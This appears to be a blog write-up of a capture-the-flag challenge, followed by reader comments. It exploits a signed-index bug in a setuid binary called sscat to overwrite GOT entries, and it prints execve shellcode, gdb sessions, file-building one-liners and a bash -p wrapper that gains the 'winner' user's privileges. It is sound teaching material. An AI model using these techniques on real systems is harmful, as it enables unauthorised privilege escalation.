Challenge 20 was a very nice exploitation level. We were given an SSH with a setuid binary called sscat (standing for Serious Substition Cipher Analysis Tool) - with source. We had to exploit the program in order to read the flag file.
Recon
As one can see in the source code sscat opens file1-20:for (j = 1; j <= 20; j++) { sprintf(filename, "%s%d", "file", j); fp = fopen(filename, "rb");Then it reads every character in each file and increments an array of ints letter_count indexed by the char value:
for (i = 0; i < MAX_ALLOWED_BYTES && !feof(fp); i++) { curr_letter = getc(fp); letter_count[curr_letter]++;
Where letter_count has been declared as a global variable outside of main (so it's in the .bss):
static int letter_count[256];It then prints out the frequency analysis.
Let's try it in a /tmp directory, with a symlink to the flag:
$ mkdir /tmp/stalkr ; cd /tmp/stalkr $ ln -s ~/flag file1 $ ~/sscat -= SSCAT =- -= Serious Substition Cipher Analysis Tool =- [x]Processing file1 now! [x]Letter A was found 2 time(s)! [x]Letter B was found 1 time(s)! [x]Letter D was found 1 time(s)! [x]Letter E was found 3 time(s)! [x]Letter G was found 1 time(s)! [x]Letter H was found 1 time(s)! [x]Letter I was found 1 time(s)! [x]Letter L was found 3 time(s)! [x]Letter N was found 1 time(s)! [x]Letter O was found 2 time(s)! [x]Letter R was found 1 time(s)! [x]Letter S was found 2 time(s)! [x]Letter T was found 1 time(s)! [x]Letter U was found 3 time(s)! [x]Letter X was found 1 time(s)! [x]Letter Y was found 2 time(s)! [!]file2 does not exist! Analysis ends now! Analysis finished! Thanks for using SSCAT!Too many combinations for the password, it's useless.
Check your man
According to getc manual: fgetc(), getc() and getchar() return the character read as an unsigned char cast to an int or EOF on end of file or error. Interesting, so any character above 127 becomes a negative index in the array, giving us an 4 bytes aligned increment in the [&letter_count-4*127 ; &letter_count+4*127] area (approximately).Armed with a cool .gdbinit, let's check the disassembly with gdb:
$ gdb -q ~/sscat gdb$ disass main [...] 0x0804865e <main+235>: call 0x804846c <_IO_getc@plt> 0x08048663 <main+240>: mov BYTE PTR [ebp-0x9],al 0x08048666 <main+243>: movsx eax,BYTE PTR [ebp-0x9] 0x0804866a <main+247>: inc DWORD PTR [eax*4+0x8049aa0] [...]Oh indeed, it's using movsx (Move with Sign-Extension), when the secure thing would have been movzx (Move with Zero-Extend).
Let's try with char 0xFF, which is -1 when signed:
gdb$ shell echo -ne "\xff" > file1 gdb$ b *0x0804866a gdb$ r [...] Breakpoint 1 at 0x804866a gdb$ p $eax $1 = 0xffffffff gdb$ x/x $eax*4+0x8049aa0 0x8049a9c: 0x00000000 gdb$ ni gdb$ x/x $eax*4+0x8049aa0 0x8049a9c: 0x00000001 gdb$ x/8x &letter_count-0x4 0x8049a90: 0x00000000 0x00000000 0x00000000 0x00000001 0x8049aa0 <letter_count>: 0x00000000 0x00000000 0x00000000 0x00000000Yay, we just did:
letter_count[-1]++
, but how can that be useful :)What's around?
Using gdb, analyze the memory before letter_count:gdb$ x/64x &letter_count-0x20 0x8049a20 <_DYNAMIC+192>: 0x00000000 0x00000000 0x00000000 0x08049960 0x8049a30 <_GLOBAL_OFFSET_TABLE_+4>: 0xb77d88f8 0xb77cf3b0 0xb76ab320 0x080483f2 0x8049a40 <_GLOBAL_OFFSET_TABLE_+20>: 0xb76a9cc0 0x08048412 0xb7662af0 0xb7693130 0x8049a50 <_GLOBAL_OFFSET_TABLE_+36>: 0x08048442 0xb76a8420 0xb76931b0 0xb76ab9a0 0x8049a60 <_GLOBAL_OFFSET_TABLE_+52>: 0x08048482 0x00000000 0x00000000 0x08049958 0x8049a70: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049a80 <stderr@@GLIBC_2.0>: 0xb77a2580 0x00000000 0x00000000 0x00000000 0x8049a90: 0x00000000 0x00000000 0x00000000 0x00000001 0x8049aa0 <letter_count>: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049ab0 <letter_count+16>: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049ac0 <letter_count+32>: 0x00000000 0x00000000 0x00000000 0x00000000We have the GOT, Global Offset Table! We could update one of these pointers so that when a function is first called, we control EIP (well, not entirely because we don't have infinite increments).
Rewrite sleep@GOT
When main ends, it returns fini(0) which is basically:int fini(int exit) { sleep(1); puts("Analysis finished!"); puts("Thanks for using SSCAT!"); return exit; }sleep sounds a good candidate for its rewrite in the GOT.
Find where is its pointer exactly in the GOT:
gdb$ disass fini [...] 0x08048551 <fini+13>: call 0x804840c <sleep@plt> [...] gdb$ disass 0x804840c Dump of assembler code for function sleep@plt: 0x0804840c <sleep@plt+0>: jmp DWORD PTR ds:0x8049a44 [...]Ok it's 0x8049a44. Calculate the character that will increment this address:
>>> 256-(0x8049aa0-0x8049a44)/4 233 >>> '%x' % _ 'e9'Let's try:
gdb$ shell echo -ne "\xe9" > file1 gdb$ r [...] Breakpoint 1, 0x0804866a in main () gdb$ x/x $eax*4+0x8049aa0 0x8049a44 <_GLOBAL_OFFSET_TABLE_+24>: 0x08048412 gdb$ ni gdb$ x/x $eax*4+0x8049aa0 0x8049a44 <_GLOBAL_OFFSET_TABLE_+24>: 0x08048413Good! Sadly we can't update this address to somewhere in the stack because it would require too many increments, and we only have at maximum: MAX_ALLOWED_BYTES*number of files that can be analyzed = (256*256)*20 = 1310720 increments.
Build a JMP in letter_count
From there you can find different exploitations, but in my opinion the most straightforward is to build a "jmp <shellcode address>" somewhere in the area we control with increments (let's say simply where letter_count starts). Yes it's feasible! Let's see how.We will use the JMP (E9) instruction:
$ echo -ne "\xE9\xef\xeb\xad\xde" |ndisasm -u - 00000000 E9EFEBADDE jmp dword 0xdeadebf4It is built using E9 + address, where address = destination-(source+5). Source is the current EIP, plus 5 because it's the length of the JMP instruction with its argument, and destination is the address where you want to jump.
Imagine we write a JMP like that in letter_count:
0x8049aa0 <letter_count>: 0x0000E900 0x0000AABBBy jumping to 0x8049aa1 using our rewrite of sleep@GOT, we would jump to some address for which we control the two higher bytes. Since the environment is allowed and there is no ASLR or stack -x, we could then place a shellcode there.
Exploitation
First, calculate the two lower bytes we have to increment:>>> '0x%08x' % (0xBFFF0000-(0x8049aa1+5)) '0xb7fa655a'If we write B7FA or B7FB, what does it give:
$ echo -ne "\xE9\x00\x00\xfa\xb7" |ndisasm -o 0x8049aa1 -u - 08049AA1 E90000FAB7 jmp dword 0xbffe9aa6 $ echo -ne "\xE9\x00\x00\xfb\xb7" |ndisasm -o 0x8049aa1 -u - 08049AA1 E90000FBB7 jmp dword 0xbfff9aa6We take the lowest, so B7FB. Now we just need to put a shellcode at 0xbfff9aa6 and it will jump on it! How? By using a big nopsled (\x90 NOP instruction) in front of your shellcode, or a padding at the end of the shellcode. For the beauty of it, I choose the padding:
$ echo -e '#include <stdio.h>\n#include <stdlib.h>\nint main(){printf("%p\\n",getenv("S"));}' > envsc.c $ gcc -o envsc envsc.c $ env -i "S=$(python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')" ./envsc 0xbfffffdc [... and after a few tries for the right padding ...] $ env -i "S=$(python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"A"*25910')" ./envsc 0xbfff9aa6We are ready!
Build the first file to update sleep@GOT to &letter_count+1, 0x8049aa0-0x8048412+1 = 5775:
$ python -c 'print chr(233)*5775' > file1Then two files for the small JMP:
$ python -c 'print chr(0)*0xE900' > file2 $ python -c 'print chr(1)*0xB7FB' > file3And, exploit!
$ env -i "S=$(python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"+"A"*25910')" ./sscat -= SSCAT =- -= Serious Substition Cipher Analysis Tool =- [x]Processing file1 now! [x]Processing file2 now! [x]Processing file3 now! [!]file4 does not exist! Analysis ends now! $ id uid=1000(ctf) gid=1000(ctf) euid=1001(winner) egid=1001(winner) groups=1000(ctf) $ cd /home/ctf $ cat flag !SIGNEDHAX_YOU_ABSOLUTELY_RULE!Win!
Cooler technique: rewrite puts@GOT to execl
Hellman (@hellman1908) of LeetMore used a simpler technique replacing puts() in fini() by execl():int fini(int exit) { sleep(1); puts("Analysis finished!");Then, just create the file "Analysis finished!" and it'll be executed by execl(). This solution has the cool advantage to be ASLR & NX resistant!
Where is execl?
gdb$ p &execl $1 = (<text variable, no debug info>>*) 0x001cbba0 <execl>Where is puts@GOT, and what is its value?
gdb$ disass fini 0x0804855d <+25>: call 0x80483fc <puts@plt> gdb$ disass 0x80483fc 0x080483fc <+0>: jmp DWORD PTR ds:0x8049a40 # initially gdb$ x/x 0x8049a40 0x8049a40 <_GLOBAL_OFFSET_TABLE_+20>: 0x08048402 # at the moment of the increment gdb$ x/x 0x8049a40 0x8049a40 <_GLOBAL_OFFSET_TABLE_+20>: 0x00191700Luckily it's 0x00191700 and no longer the default 0x08048402 because it has already been called and resolved (that's how the GOT/PLT works, see this among other resources if you're not familiar with it). Otherwise, it would have been impossible to update it to &execl. Also, the good thing is that &puts < &execl so we can increment to it.
Since these conditions are true, this exploitation is possible!
Which char takes us to that address?
>>> 256-(0x8049aa0-0x8049a40)/4 232How many repeats?
>>> n=0x001cbba0-0x00191700 >>> n 238752 >>> n/65536 3 >>> n%65536 42144Three files full (65536) + one file with 42144 repetitions:
$ python -c 'print chr(232)*65536' > file1 $ python -c 'print chr(232)*65536' > file2 $ python -c 'print chr(232)*65536' > file3 $ python -c 'print chr(232)*42144' > file4Prepare the file to run (don't forget bash -p to avoid bash dropping euid):
$ echo -e '#!/bin/sh\n/bin/bash -p' > 'Analysis finished!' $ chmod a+x 'Analysis finished!'Exploit!
$ ./sscat -= SSCAT =- -= Serious Substition Cipher Analysis Tool =- [x]Processing file1 now! [!]File file1 is too big! Will not continue reading [x]Processing file2 now! [!]File file2 is too big! Will not continue reading [x]Processing file3 now! [!]File file3 is too big! Will not continue reading [x]Processing file4 now! [!]file5 does not exist! Analysis ends now! bash-4.1$ id uid=1000(ctf) gid=1000(ctf) euid=1001(winner) egid=1001(winner) groups=1000(ctf)Win!
For those who liked the challenge, on IO wargame at SmashTheStack wargaming network, you can find a similar exploitation challenge. You should give it a try! ;)
Nice writeup!
ReplyDeleteCool technique. I got used to nx bit from magicwall task and forgotten about shellcodes ^^
ReplyDeleteI made puts@GOT pointing to execl, created file "Analysis Finished!" and added . to PATH :)
Oh indeed cooler technique! nice one :)
ReplyDeleteI've updated the post with your exploitation technique using execl :)
ReplyDeletenice :)
ReplyDeletedidn't know that execl searches in . even if it's not in PATH